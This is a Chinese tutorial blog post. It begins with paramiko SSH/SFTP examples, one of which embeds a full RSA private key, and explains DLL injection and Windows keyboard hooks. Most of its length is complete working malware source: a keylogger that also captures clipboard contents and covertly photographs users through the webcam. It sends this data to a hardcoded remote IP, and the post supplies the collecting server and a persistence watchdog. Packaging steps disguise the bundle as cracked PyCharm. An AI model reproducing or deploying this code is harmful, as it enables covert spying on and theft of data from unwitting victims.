Python并发编程——paramiko远程控制的模块;病毒攻击原理;dll注入

paramiko模块

  1. 介绍: paramiko是一个用于做远程控制的模块,使用该模块可以对远程服务器进行命令或文件操作,值得一说的是,fabric和ansible内部的远程管理就是使用的paramiko来现实。 2. 下载安装
pip3 install paramiko #在python3中

在python2中

pycrypto,由于 paramiko 模块内部依赖pycrypto,所以先下载安装pycrypto #在python2中
pip3 install pycrypto
pip3 install paramiko
注:如果在安装pycrypto2.0.1时发生如下错误
        command 'gcc' failed with exit status 1...
可能是缺少python-dev安装包导致
如果gcc没有安装,请事先安装gcc
  1. 使用 SSHClient 用于连接远程服务器并执行基本命令 基于用户名密码连接:
import paramiko

# 创建SSH对象
ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接服务器
ssh.connect(hostname='120.92.84.249', port=22, username='root', password='xxx')

# 执行命令
stdin, stdout, stderr = ssh.exec_command('df')
# 获取命令结果
result = stdout.read()
print(result.decode('utf-8'))
# 关闭连接
ssh.close()

SSHClient 封装 Transport

import paramiko

transport = paramiko.Transport(('120.92.84.249', 22))
transport.connect(username='root', password='xxx')

ssh = paramiko.SSHClient()
ssh._transport = transport

stdin, stdout, stderr = ssh.exec_command('df')
res=stdout.read()
print(res.decode('utf-8'))

transport.close()

基于公钥密钥连接: 客户端文件名:id_rsa 服务端必须有文件名: authorized_keys(在用ssh-keygen时,必须制作一个authorized_keys,可以用ssh-copy-id来制作)

import paramiko

private_key = paramiko.RSAKey.from_private_key_file('/tmp/id_rsa')

# 创建SSH对象
ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接服务器
ssh.connect(hostname='120.92.84.249', port=22, username='root', pkey=private_key)

# 执行命令
stdin, stdout, stderr = ssh.exec_command('df')
# 获取命令结果
result = stdout.read()
print(result.decode('utf-8'))
# 关闭连接
ssh.close()

SSHClient 封装 Transport

import paramiko

private_key = paramiko.RSAKey.from_private_key_file('/tmp/id_rsa')

transport = paramiko.Transport(('120.92.84.249', 22))
transport.connect(username='root', pkey=private_key)

ssh = paramiko.SSHClient()
ssh._transport = transport

stdin, stdout, stderr = ssh.exec_command('df')
result=stdout.read()
print(result.decode('utf-8'))

transport.close()

基于私钥字符串进行连接

import paramiko
from io import StringIO

key_str = """-----BEGIN RSA PRIVATE KEY-----
MIIEoQIBAAKCAQEAsJmFLrSeCumJvga0Gl5O5wVOVwMIy2MpqIyQPi5J87dg89a4
Da9fczJog7qoSbRwHFOQoCHNphSlp5KPhGsF6RJewkIw9H1UKV4dCOyl/4HOAkAD
rKrsEDmrJ9JlzF2GTTZSnTgVQWcvBS2RKB4eM2R9aJ11xV6X2Hk4YDLTExIWeabb
h2TUKw0iyjI8pRuYLKkF2X16u9TBwfOTroGYgiNFHQvhsQppbEbI49NF2XkCkFMi
8/7tLjf95InE/VUUq56JqfzyHwdpHou+waXbwtvGgXN3sz+KkuEv6R2qDz06upZV
FCZRRpDhzoR8Uh/UEzTGZb8z7FB6EJXUiXJikQIBIwKCAQBBmBuGYFf1bK+BGG7H
9ySe81ecqVsJtx4aCFLVRGScWg4RbQKIvXs5an6XU/VdNGQnx0RYvBkvDvuzRRC8
J8Bd4kB0CfTtGJuaVigKoQp02HEWx1HSa17+tlWD0c4KFBvwywi+DYQ83S64x8gz
eOalX9bPFenqORPUD8R7gJeKvPVc6ZTPeorpuH7u9xayP0Eop8qKxZza9Xh3foVj
Qo4IxoYnDN57CIRX5PFSlDDggpmr8FtRF4nAxmFq8LhSp05ivzX/Ku1SNHdaMWZO
7va8tISXdLI5m0EGzoVoBvohIbwlxI6kfmamrh6Eas2Jnsc4CLzMsR4jBWt0LHLv
/SLnAoGBANaEUf/Jptab9G/xD9W2tw/636i3gLpTPY9KPtCcAxqStNeT6RAWZ5HF
lKJg+NKpu3pI45ldAwvts0i+aCZk2xakEWIZWqCmXm31JSPDQTaMGe7H0vOmUaxx
ncdpBVdvhMbfFUgei15iKfuafgrKaS9oIkntXEgrC+3wBOI0Gbx3AoGBANLAGxAF
TK7ydr+Q1+6/ujs6e8WsXt8HZMa/1khCVSbrf1MgACvZPSSSrDpVwaDTSjlRI4AL
bb0l0RFU+/0caMiHilscuJdz9Fdd9Ux4pjROZa3TF5CFhvP7PsZAoxOo+yqJg4zr
996GG/aAv4M8lQJ2rDFk/Dgn5y/AaAun1oM3AoGAGIQmoOPYjY4qkHNSRE9lYOl4
pZFQilKn8x5tlC8WTC4GCgJGhX7nQ9wQ/J1eQ/YkDfmznH+ok6YjHkGlgLsRuXHW
GdcDCwuzBUCWh76LHC1EytUCKnloa3qy8jfjWnMlHgrd3FtDILrC+C7p1Vj2FAvm
qVz0moiTpioPL8twp9MCgYEAin49q3EyZFYwxwdpU7/SJuvq750oZq0WVriUINsi
A6IR14oOvbqkhb94fhsY12ZGt/N9uosq22H+anms6CicoQicv4fnBHDFI3hCHE9I
pgeh50GTJHUA6Xk34V2s/kp5KpThazv6qCw+QubkQExh660SEdSlvoCfPKMCi1EJ
TukCgYAZKY1NZ2bjJyyO/dfNvMQ+etUL/9esi+40GUGyJ7SZcazrN9z+DO0yL39g
7FT9NMIc2dsmNJQMaGBCDl0AjO1O3b/wqlrNvNBGkanxn2Htn5ajfo+LBU7yHAcV
7w4X5HLarXiE1mj0LXFKJhdvFqU53KUQJXBqR6lsMqzsdPwLMJg==
-----END RSA PRIVATE KEY-----"""

private_key = paramiko.RSAKey(file_obj=StringIO(key_str))
transport = paramiko.Transport(('120.92.84.249', 22))
transport.connect(username='root', pkey=private_key)

ssh = paramiko.SSHClient()
ssh._transport = transport

stdin, stdout, stderr = ssh.exec_command('df')
result = stdout.read()
print(result.decode('utf-8'))
transport.close()

print(result)

SFTPClient 用于连接远程服务器并执行上传下载 基于用户名密码上传下载

import paramiko
 
transport = paramiko.Transport(('120.92.84.249',22))
transport.connect(username='root',password='xxx')
 
sftp = paramiko.SFTPClient.from_transport(transport)
# 将location.py 上传至服务器 /tmp/test.py
sftp.put('/tmp/id_rsa', '/etc/test.rsa')
# 将remove_path 下载到本地 local_path
sftp.get('remove_path', 'local_path')
 
transport.close()

基于公钥密钥上传下载

import paramiko

private_key = paramiko.RSAKey.from_private_key_file('/tmp/id_rsa')

transport = paramiko.Transport(('120.92.84.249', 22))
transport.connect(username='root', pkey=private_key )

sftp = paramiko.SFTPClient.from_transport(transport)
# 将location.py 上传至服务器 /tmp/test.py
sftp.put('/tmp/id_rsa', '/tmp/a.txt')
# 将remove_path 下载到本地 local_path
sftp.get('remove_path', 'local_path')

transport.close()
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import paramiko
import uuid

class Haproxy(object):

    def __init__(self):
        self.host = '172.16.103.191'
        self.port = 22
        self.username = 'root'
        self.pwd = '123'
        self.__k = None

    def create_file(self):
        file_name = str(uuid.uuid4())
        with open(file_name,'w') as f:
            f.write('sb')
        return file_name

    def run(self):
        self.connect()
        self.upload()
        self.rename()
        self.close()

    def connect(self):
        transport = paramiko.Transport((self.host,self.port))
        transport.connect(username=self.username,password=self.pwd)
        self.__transport = transport

    def close(self):

        self.__transport.close()

    def upload(self):
        # 连接,上传
        file_name = self.create_file()

        sftp = paramiko.SFTPClient.from_transport(self.__transport)
        # 将location.py 上传至服务器 /tmp/test.py
        sftp.put(file_name, '/home/root/tttttttttttt.py')

    def rename(self):

        ssh = paramiko.SSHClient()
        ssh._transport = self.__transport
        # 执行命令
        stdin, stdout, stderr = ssh.exec_command('mv /home/root/tttttttttttt.py /home/root/ooooooooo.py')
        # 获取命令结果
        result = stdout.read()


ha = Haproxy()
ha.run()

作业

题目:简单主机批量管理工具 需求:

  1. 主机分组 2. 主机信息配置文件用configparser解析 3. 可批量执行命令、发送文件,结果实时返回,执行格式如下 batch_run -h h1,h2,h3 -g web_clusters,db_servers -cmd “df -h”  batch_scp -h h1,h2,h3 -g web_clusters,db_servers -action put -local test.py -remote /tmp/ 4. 主机用户名密码、端口可以不同 5. 执行远程命令使用paramiko模块 6. 批量命令需使用multiprocessing并发

攻击原理解析

一、什么是dll

动态链接库(Dynamic Link Library 或者 Dynamic-link Library,缩写为 DLL) 是微软公司在微软Windows操作系统中,实现共享函数库概念的一种方式。 这些库函数的扩展名是 ”.dll"、“.ocx”(包含ActiveX控制的库)或者 “.drv”(旧式的系统驱动程序)。  pip3 install

二、为何要有dll
由于进程的地址空间是独立的(保护模式),当多个进程共享相同的库时,每个库都在硬盘和进程彼此的内存
存放一份的话,对于早期的计算机来说,无疑是一种极大的浪费,于是windows系统推出了dll机制,
dll在硬盘上存为一个文件,在内存中使用一个实例(instance)。

详细如下:
在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中(保护模式),每一个进程都认为自己拥有整个机器的控制权,
每个进程都认为自己拥有计算机的整个内存空间,这些假象都是操作系统创造的(操作系统控制CPU使得CPU启用保护模式)。
理论上而言,运行在操作系统上的每一个进程之间都是互不干扰的,即每个进程都会拥有独立的地址空间。比如说进程B修改了地址为0x4000000的数据,
那么进程C的地址为0x4000000处的数据并未随着B的修改而发生改变,并且进程C可能并不拥有地址为0x4000000的内存(操作系统可能没有为进程C映射这块内存)。
因此,如果某进程有一个缺陷覆盖了随机地址处的内存(这可能导致程序运行出现问题),那么这个缺陷并不会影响到其他进程所使用的内存。

什么是dll注入:

我们可以利用dll机制来实训进程通信或控制其它进程的应用程序。 
所谓的dll注入正是是让进程A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码,从而
达到A进程控制B进程的目的

注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,
程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序B的开发者设计,
因此程序B的开发者可以对程序A为所欲为。

什么时候需要dll注入

应用程序一般会在以下情况使用dll注入技术来完成某些功能:
1.为目标进程添加新的“实用”功能;
2.需要一些手段来辅助调试被注入dll的进程;
3.为目标进程安装钩子程序(API Hook);

dll注入的方法

一般情况下有如下dll注入方法:    
    1.修改注册表来注入dll;
    2.使用CreateRemoteThread函数对运行中的进程注入dll;
    3.使用SetWindowsHookEx函数对应用程序挂钩(HOOK)迫使程序加载dll;
    4.替换应用程序一定会使用的dll;
    5.把dll作为调试器来注入;
    6.用CreateProcess对子进程注入dll
    7.修改被注入进程的exe的导入地址表。
	ps:
	杀毒软件常用钩子来进行处理

使用SetWindowsHookEx函数对应用程序挂钩(HOOK)迫使程序加载dll

ctypes是Python的外部函数库,从Python2.5开始引入。它提供了C兼容的数据类型, 并且允许调用动态链接库/共享库中的函数。它可以将这些库包装起来给Python使用。

ctypes.windll.user32下主要用到三个函数,分别是
SetWindowsHookEx() 、CallNextHookEx()和UnhookWindowsHookEx()

消息钩子:Windows操作系统为用户提供了GUI(Graphic User Interface,图形用户界面), 它以事件驱动方式工作。在操作系统中借助键盘、鼠标、选择菜单、按钮、移动鼠标、改变窗口大小与位置等都是事件。 发生这样的事件时,操作系统会把事先定义好的消息发送给相应的应用程序,应用程序分析收到的信息后会执行相应的动作。 也就是说,在敲击键盘时,消息会从操作系统移动到应用程序。 所谓的消息钩子就是在此期间偷看这些信息。以键盘输入事件为例,消息的流向如下:   1.发生键盘输入时,WM_KEYDOWN消息被添加到操作系统的消息队列中;   2.操作系统判断这个消息产生于哪个应用程序,并将这个消息从消息队列中取出,添加到相应的应用程序的消息队列中;   3.应用程序从自己的消息队列中取出WM_KEYDOWN消息并调用相应的处理程序。   当我们的钩子程序启用后,操作系统在将消息发送给用用程序前会先发送给每一个注册了相应钩子类型的钩子函数。钩子函数可以对这一消息做出想要的处理(修改、拦截等等)。多个消息钩子将按照安装钩子的先后顺序被调用,这些消息钩子在一起组成了"钩链"。消息在钩链之间传递时任一钩子函数拦截了消息,接下来的钩子函数(包括应用程序)将都不再收到该消息。   像这样的消息钩子功能是Windows提供的最基本的功能,MS Visual Studio中提供的SPY++就是利用了这一功能来实现的,SPY++是一个十分强大的消息钩取程序,它能够查看操作系统中来往的所有消息。   消息钩子是使用SetWindowsHookEx来实现的。函数的原型如下:

HHOOK WINAPI SetWindowsHookEx(
  _In_ int       idHook,
  _In_ HOOKPROC  lpfn,
  _In_ HINSTANCE hMod,
  _In_ DWORD     dwThreadId
);

idHook参数是消息钩子的类型,可以选择的类型在MSDN中可以查看到相应的宏定义。比如我们想对所有的键盘消息做挂钩,其取值将是WH_KEYBOARD,WH_KEYBOARD这个宏的值是2。   lpfn参数是钩子函数的起始地址,注意:不同的消息钩子类型的钩子函数原型是不一样的,因为不同类型的消息需要的参数是不同的,具体的钩子函数原型需要查看MSDN来获得。注意:钩子函数可以在结束前任意位置调用CallNextHookEx函数来执行钩链的其他钩子函数。当然,如果不调用这个函数,钩链上的后续钩子函数将不会被执行。   hMod参数是钩子函数所在的模块的模块句柄。   dwThreadId参数用来指示要对哪一个进程/线程安装消息钩子。如果这个参数为0,安装的消息钩子称为“全局钩子”,此时将对所有的进程(当前的进程以及以后要运行的所有进程)下这个消息钩子。注意:有的类型的钩子只能是全局钩子。   注意:钩子函数应当放在一个dll中,并且在你的进程中LoadLibrary这个dll。然后再调用SetWindowsHookEx函数对相应类型的消息安装钩子。   当SetWindowsHookEx函数调用成功后,当某个进程生成这一类型的消息时,操作系统会判断这个进程是否被安装了钩子,如果安装了钩子,操作系统会将相关的dll文件强行注入到这个进程中并将该dll的锁计数器递增1。然后再调用安装的钩子函数。整个注入过程非常方便,用户几乎不需要做什么。   当用户不需要再进行消息钩取时只需调用UnhookWindowsHookEx即可解除安装的消息钩子,函数的原型如下:

BOOL WINAPI UnhookWindowsHookEx(
  _In_ HHOOK hhk
);

hhk参数是之前调用SetWindowsHookEx函数返回的HOOK变量/句柄。这个函数调用成功后会使被注入过dll的锁计数器递减1,当锁计数器减到0时系统会卸载被注入的dll。
这种类型的dll注入的优点是注入简单,缺点是只能对windows消息进行Hook并注入dll,而且注入dll可能不是立即被注入,因为这需要相应类型的事件发生。其次是它不能进行其他API的Hook,如果想对其它的函数进行Hook,你需要再在被注入的dll中添加用于API Hook的代码。   dll注入代码包含两部分,一部分是dll的源文件,另一部分是控制台程序的源代码。 HMODULE Hmod = LoadLibraryA(“hookdll.dll”);

准备工作

#1、最新anocoda3.7
https://www.anaconda.com/distribution/#download-section

#2、提速下载可以改变源
pip3 config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple

#3、安装pywin32,安装时指定安装目录,默认为C:\Python37\Lib\site-packages\
https://github.com/mhammond/pywin32/releases

#4、安装opencv-python
pip install opencv-python

#5、安装pyinstaller,依赖pyin32
pip install pyinstaller

#6、ico文件准备好
在线制作
or
https://www.easyicon.net/500133-QQ_Penguin_tencent_icon.html

#7、了解一下要用到的功能:
from time import sleep,strftime
from os import listdir,remove
from os.path import exists, getsize,abspath,expanduser,basename
from sys import exit
from struct import pack
from json import dumps
from socket import socket, AF_INET, SOCK_STREAM
from win32clipboard import OpenClipboard, GetClipboardData, CloseClipboard
from win32con import HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ, FILE_ATTRIBUTE_HIDDEN, WH_KEYBOARD_LL, WM_KEYDOWN
from win32api import GetConsoleTitle, RegOpenKey, RegSetValueEx, RegCloseKey, SetFileAttributes
from win32gui import FindWindow, ShowWindow
from cv2 import VideoCapture, CAP_DSHOW, imwrite, destroyAllWindows

from ctypes import windll  # windll.user32、windll.kernel32
from ctypes import CFUNCTYPE
from ctypes import byref
from ctypes import POINTER
from ctypes import c_int, c_void_p
from ctypes.wintypes import MSG

from threading import Timer
from threading import Thread
from threading import Lock
步骤
1、先编写病毒程序=>WinCoreManagerment.py
监听键盘输入->并记录日志
锁定键盘功能
偷拍功能->保存图片文件
上传数据功能:套接字客户度

WinCoreManagerment.py

import sys
import os
import time
import socket
import struct
import json
import win32clipboard  # 剪贴板操作,需要安装pywin32才可以
import win32con
import win32api
import cv2

from ctypes import windll
from ctypes import CFUNCTYPE
from ctypes import POINTER
from ctypes import c_int, c_void_p
from ctypes import byref
from ctypes.wintypes import MSG

from threading import Timer
from threading import Thread
from threading import Lock


# 工具
class Utils:
    def __init__(self):
        # 用户家目录
        self.base_dir = os.path.expanduser('~')  # 权限问题

        # 初始化生成日志文件
        self.log_path = r'%s/adhsvc.dll.system32' % self.base_dir
        open(self.log_path, 'a', encoding='utf-8').close()
        win32api.SetFileAttributes(self.log_path, win32con.FILE_ATTRIBUTE_HIDDEN)

        # 定义两把锁,控制读写
        self.mutex_log = Lock()  # 日志锁
        self.mutex_photo = Lock()  # 照片锁
        self.mutex_sock = Lock()  # 套接字上传锁
        # 服务端的ip和port
        self.server_ip = '115.29.65.16'
        self.server_port = 9999

        # 本地调试日志
        self.debug = True
        self.debug_log_path = r'%s/debug_log' % self.base_dir
        self.mutex_debug = Lock()

    def log_debug(self, res):
        if not self.debug:
            return
        self.mutex_debug.acquire()
        with open(self.debug_log_path, mode='a', encoding='utf-8') as f:
            f.write('\n%s\n' % res)
            f.flush()
        self.mutex_debug.release()

    def log(self, res):
        self.mutex_log.acquire()
        with open(self.log_path, mode='a', encoding='utf-8') as f:
            f.write(res)
            f.flush()
        self.mutex_log.release()

    def take_photoes(self):
        while True:
            time.sleep(10)
            photo_path = r'%s/%s.jpeg' % (self.base_dir, time.strftime('%Y-%m-%d_%H_%M_%S'))
            cap = None

            try:
                # VideoCapture()中第一个参数是摄像头标号,默认情况电脑自带摄像头索引为0,外置为1.2.3…,
                # 参数是视频文件路径则打开视频,如cap = cv2.VideoCapture(“../test.avi”)
                # CAP_DSHOW是微软特有的,cv2.release()之后摄像头依然开启,需要指定该参数
                cap = cv2.VideoCapture(0, cv2.CAP_DSHOW)
                ret, frame = cap.read()
                self.mutex_photo.acquire()
                cv2.imwrite(photo_path, frame)
            except Exception as e:
                self.log_debug('照相异常: %s' % e)
            finally:
                # 无论如何都要释放锁,关闭相机
                self.mutex_photo.release()
                if cap is not None:
                    cap.release()  # None.release()
                cv2.destroyAllWindows()

            if os.path.exists(photo_path):
                win32api.SetFileAttributes(photo_path, win32con.FILE_ATTRIBUTE_HIDDEN)

    def send_data(self, headers, data):
        try:
            self.mutex_sock.acquire()  # 上传数据的过程中不要做其他事情
            client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            client.connect((self.server_ip, self.server_port))

            head_json = json.dumps(headers)
            head_json_bytes = bytes(head_json, encoding='utf-8')
            client.send(struct.pack('i', len(head_json_bytes)))
            client.send(head_json_bytes)
            client.sendall(data)
            client.close()

            res = (True, 'ok')
        except ConnectionRefusedError as e:
            msg = '套接字服务端未启动: %s' % e
            res = (False, msg)
        except Exception as e:
            msg = '套接字其他错误:%s' % e
            res = (False, msg)
        finally:
            self.mutex_sock.release()
        return res

    def upload_log(self):
        while True:
            time.sleep(1)

            if not os.path.getsize(self.log_path):
                continue

            self.mutex_log.acquire()
            with open(self.log_path, mode='rb+') as f:
                data = f.read()
                self.mutex_log.release()

                headers = {
                    'data_size': len(data),
                    'filename': os.path.basename(self.log_path)
                }

                self.log_debug('正在往服务端发送日志......[%s]' % data)

                is_ok, msg = self.send_data(headers, data)
                if is_ok:
                    self.log_debug('日志[%s]发送成功。。。' % data)
                else:
                    self.log_debug('日志[%s]发送失败:%s' % (data, msg))
                    continue

                f.truncate(0)

    def upload_photoes(self):
        while True:
            time.sleep(3)

            files = os.listdir(self.base_dir)
            files_jpeg = [file_name for file_name in files if file_name.endswith('jpeg')]
            for file_name in files_jpeg:
                file_path = r'%s/%s' % (self.base_dir, file_name)
                if not os.path.exists(file_path):
                    continue

                self.log_debug('开始上传图片: %s' % file_name)
                headers = {
                    'data_size': os.path.getsize(file_path),
                    'filename': file_name
                }

                self.mutex_photo.acquire()
                with open(file_path, mode='rb+') as f:
                    data = f.read()
                self.mutex_photo.release()

                is_ok, msg = self.send_data(headers, data)
                if is_ok:
                    self.log_debug('图片%s发送完毕......' % file_name)
                else:
                    self.log_debug('图片%s发送失败:%s' % (file_name, msg))
                    continue

                os.remove(file_path)


utils = Utils()


# 定义类:定义拥有挂钩与拆钩功能的类
class Toad:
    def __init__(self):
        self.user32 = windll.user32
        self.hooked = None

    def __install_hook_proc(self, pointer):
        self.hooked = self.user32.SetWindowsHookExA(
            win32con.WH_KEYBOARD_LL,  # WH_KEYBOARD_LL = 13  # 全局的键盘钩子,能拦截所有的键盘按键的消息。
            pointer,
            0,  # 钩子函数的dll句柄,此处设置为0即可
            0  # 所有线程
        )  # self.hooked 为注册钩子返回的句柄
        return True if self.hooked else False

    def install_hook_proc(self, func):
        CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
        pointer = CMPFUNC(func)  # 拿到函数hookProc指针,

        if self.__install_hook_proc(pointer):
            utils.log_debug("%s start " % func.__name__)

        msg = MSG()
        # 监听/获取窗口的消息,消息进入队列后则取出交给勾链中第一个钩子
        self.user32.GetMessageA(byref(msg), None, 0, 0)

    def uninstall_hook_proc(self):
        if self.hooked is None:
            return
        self.user32.UnhookWindowsHookEx(self.hooked)  # 通过钩子句柄删除注册的钩子
        self.hooked = None


toad_obj = Toad()


# 2、定义钩子过程(即我们要注入的逻辑):
def monitor_keyborad_proc(nCode, wParam, lParam):
    # win32con.WM_KEYDOWN = 0X0100  # 键盘按下,对应数字256
    # win32con.WM_KEYUP = 0x101  # 键盘起来,对应数字257,监控键盘只需要操作KEYDOWN即可
    if wParam == win32con.WM_KEYDOWN:
        hookedKey_ascii = 0xFFFFFFFF & lParam[0]
        hookedKey = chr(hookedKey_ascii)

        utils.log_debug('监听到hookeKey:[%s]  hookedKey_ascii:[%s]' % (hookedKey, hookedKey_ascii))

        keyboard_dic = {
            220: r'<`>',
            189: r'<->',
            187: r'<=>',
            8: r'<删除键>',

            9: r'<tab>',
            219: r'<[>',
            221: r'<]>',
            222: r'<\>',

            20: r'<大小写锁定>',
            186: r'<;>',
            192: r"<'>",
            13: r'<enter>',

            160: r'<lshift>',
            188: r'<,>',
            190: r'<.>',
            191: r'</>',
            161: r'<rshift>',

            162: r'<ctrl>',
            32: r'<space>',
            37: r'<左箭头>',
            38: r'<上箭头>',
            39: r'<右箭头>',
            40: r'<下箭头>',
        }

        if (hookedKey == 'Q'):  # 测试时打开,正式运行时注释这一段即可
            toad_obj.uninstall_hook_proc()
            sys.exit(-1)
            # pass

        if hookedKey_ascii in keyboard_dic:  # 按下了了非常规键
            res = keyboard_dic[hookedKey_ascii]
            utils.log_debug('监听到输入: %s' % res)
            utils.log(res)

        if hookedKey_ascii > 32 and hookedKey_ascii < 127:  # 检测击键是否常规按键(非组合键等)
            if hookedKey == 'V' or hookedKey == 'C':
                win32clipboard.OpenClipboard()
                paste_value = win32clipboard.GetClipboardData()  # 获取粘贴板的值
                win32clipboard.CloseClipboard()

                if paste_value:  # 剪贴板有值,则代表上述V和C的输入是组合键,用户输入的有效数据在剪贴板里放着
                    utils.log(paste_value)
                    utils.log_debug('粘贴值: %s' % paste_value)
            else:
                utils.log_debug('监听到输入: %s' % repr(hookedKey))
                utils.log(hookedKey)

    # CallNextHookEx将钩子的信息重新放回钩链中
    return windll.user32.CallNextHookEx(toad_obj.hooked, nCode, wParam, lParam)


# 钩链:钩1,钩2
def lock_keyboard_proc(nCode, wParam, lParam):
    utils.log_debug('锁定键盘程序正在执行。。。。。。。。')
    return 123123123123123


if __name__ == '__main__':
    # 监听键盘输入->并记录日志
    t1 = Thread(target=toad_obj.install_hook_proc, args=(monitor_keyborad_proc,))
    # 锁定键盘功能
    t2 = Timer(120, toad_obj.install_hook_proc, args=[lock_keyboard_proc, ])

    # 偷拍功能->保存图片文件
    t3 = Thread(target=utils.take_photoes)

    # 上传数据功能:日志文件、图片文件
    t4 = Thread(target=utils.upload_log)
    t5 = Thread(target=utils.upload_photoes)

    t2.daemon = True
    t3.daemon = True
    t4.daemon = True
    t5.daemon = True

    t1.start()
    t2.start()
    t3.start()
    t4.start()
    t5.start()

    t1.join()
2、编写服务端(socketserver)
secureCRT图形界面-》windows
系统自带scp命令-》linux
python的模块-》paramiko模块
纯手写客户端套接字

Toad_server.py

import socketserver
import struct
import json
import os
import time


class ToadServer(socketserver.BaseRequestHandler):
    coding = 'utf-8'
    max_packet_size = 1024

    def handle(self):
        ip, port = self.client_address
        with open(r'access.log', mode='a', encoding='utf-8') as f:
            f.write('[%s] 癞蛤蟆病毒感染者-> %s:%s 正在上传数据\n' % (time.strftime('%Y-%m-%d-%H:%M:%S'), ip, port))

        try:
            head = self.request.recv(4)
            head_json_len = struct.unpack('i', head)[0]
            head_json = json.loads(self.request.recv(head_json_len).decode('utf-8'))
            data_len = head_json['data_size']
            filename = head_json['filename']

            recv_size = 0
            recv_data = b''
            with open(r'client_msg/client_%s_%s' % (ip, filename), 'ab') as f:
                while recv_size < data_len:
                    recv_data = self.request.recv(1024)
                    f.write(recv_data)
                    recv_size += len(recv_data)

        except Exception as e:
            # 客户端断开
            self.request.close()


myserver = socketserver.ThreadingTCPServer(('0.0.0.0', 9999), ToadServer)
myserver.serve_forever()
3、服务端部署,修改安全组,开发端口
5、病毒程序制作二进制

frozen.py

'''
Pyinstaller多进程代码打包exe出现多个进程解决方案
'''

import os
import sys
import multiprocessing

# Module multiprocessing is organized differently in Python 3.4+
try:
    # Python 3.4+
    if sys.platform.startswith('win'):
        import multiprocessing.popen_spawn_win32 as forking
    else:
        import multiprocessing.popen_fork as forking
except ImportError:
    import multiprocessing.forking as forking

if sys.platform.startswith('win'):
    # First define a modified version of Popen.
    class _Popen(forking.Popen):
        def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

                        # Second override 'Popen' class with our modified version.


    forking.Popen = _Popen
6、病毒程序进行伪装处理,并打包成exe
6.1 编写伪装文件:"pycharm破解版.py"

6.2 编写无限重启文件:"System.py"

6.3 打包制作二进制exe
    pyinstaller -i system.ico -Fw WinCoreManagement.py
    pyinstaller -i system.ico -Fw System.py
    pyinstaller -i pycharm.ico -Fw pycharm破解版.py
    指定-w参数后就不要设置后台运行了

6.4 将三个exe文件放入正常pycharm软件包下的bin目录下

pycharm破解版.py

import os
import subprocess
import time
import frozen  # Pyinstaller多进程代码打包exe出现多个进程解决方案
import multiprocessing


if __name__ == '__main__':
    multiprocessing.freeze_support()  # Pyinstaller多进程代码打包exe出现多个进程解决方案
    os.chdir(r'.')
    subprocess.Popen(r'pycharm.exe') # 真正的pychamr程序
    subprocess.Popen(r'System.exe') # System.exe负责无限重启病毒程序WinCoreManagerment.exe

    time.sleep(20)

System.py

import frozen  # Pyinstaller多进程代码打包exe出现多个进程解决方案
import multiprocessing
import subprocess
import time
import sys
import os
import win32con
import win32api

CMD = r"WinCoreManagement.exe"  # 需要执行程序的绝对路径


def run(cmd):
    # print('start OK!')
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    p = subprocess.Popen(cmd, shell=False)
    p.wait()  # 类似于p.join()
    try:
        subprocess.call('start /b taskkill /F /IM %s' % CMD)  # 清理残余
    except Exception as e:
        # print(e)
        pass

    # print('子进程关闭,重启')
    run(cmd)


if __name__ == '__main__':
    multiprocessing.freeze_support()  # Pyinstaller多进程代码打包exe出现多个进程解决方案

    run(CMD)
7、杀毒方法
taskkill /F /IM System.exe

taskkill /F /IM WinCoreManagement.exe

taskkill /F /IM pycharm.exe
import frozen  # Pyinstaller多进程代码打包exe出现多个进程解决方案
import multiprocessing
import subprocess
import time
import sys
import os
import win32con
import win32api

CMD = r"WinCoreManagement.exe"  # 需要执行程序的绝对路径


def run(cmd):
    # print('start OK!')
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    p = subprocess.Popen(cmd, shell=False)
    p.wait()  # 类似于p.join()
    try:
        subprocess.call('start /b taskkill /F /IM %s' % CMD)  # 清理残余
    except Exception as e:
        # print(e)
        pass

    # print('子进程关闭,重启')
    run(cmd)


if __name__ == '__main__':
    multiprocessing.freeze_support()  # Pyinstaller多进程代码打包exe出现多个进程解决方案

    run(CMD)
7、杀毒方法
taskkill /F /IM System.exe

taskkill /F /IM WinCoreManagement.exe

taskkill /F /IM pycharm.exe

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/548918.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

负荷预测 | Matlab基于TCN-GRU-Attention单变量时间序列多步预测

目录 效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab基于TCN-GRU-Attention单变量时间序列多步预测&#xff1b; 2.单变量时间序列数据集&#xff0c;采用前12个时刻预测未来96个时刻的数据&#xff1b; 3.excel数据方便替换&#xff0c;运行环境matlab2023及以…

DNF手游攻略:萌新入坑大全!

玩DNF手游国服已经正式定档&#xff0c;离上线已经越来越近了&#xff0c;很多小伙伴对于装备打造以及附魔还不是特别了解。如果你还不知道装备要怎么附魔&#xff0c;不要担心&#xff0c;本篇攻略将为你全面解析全职业过渡和毕业附魔推荐。 ​ 一、物理职业附魔推荐 1. 武器…

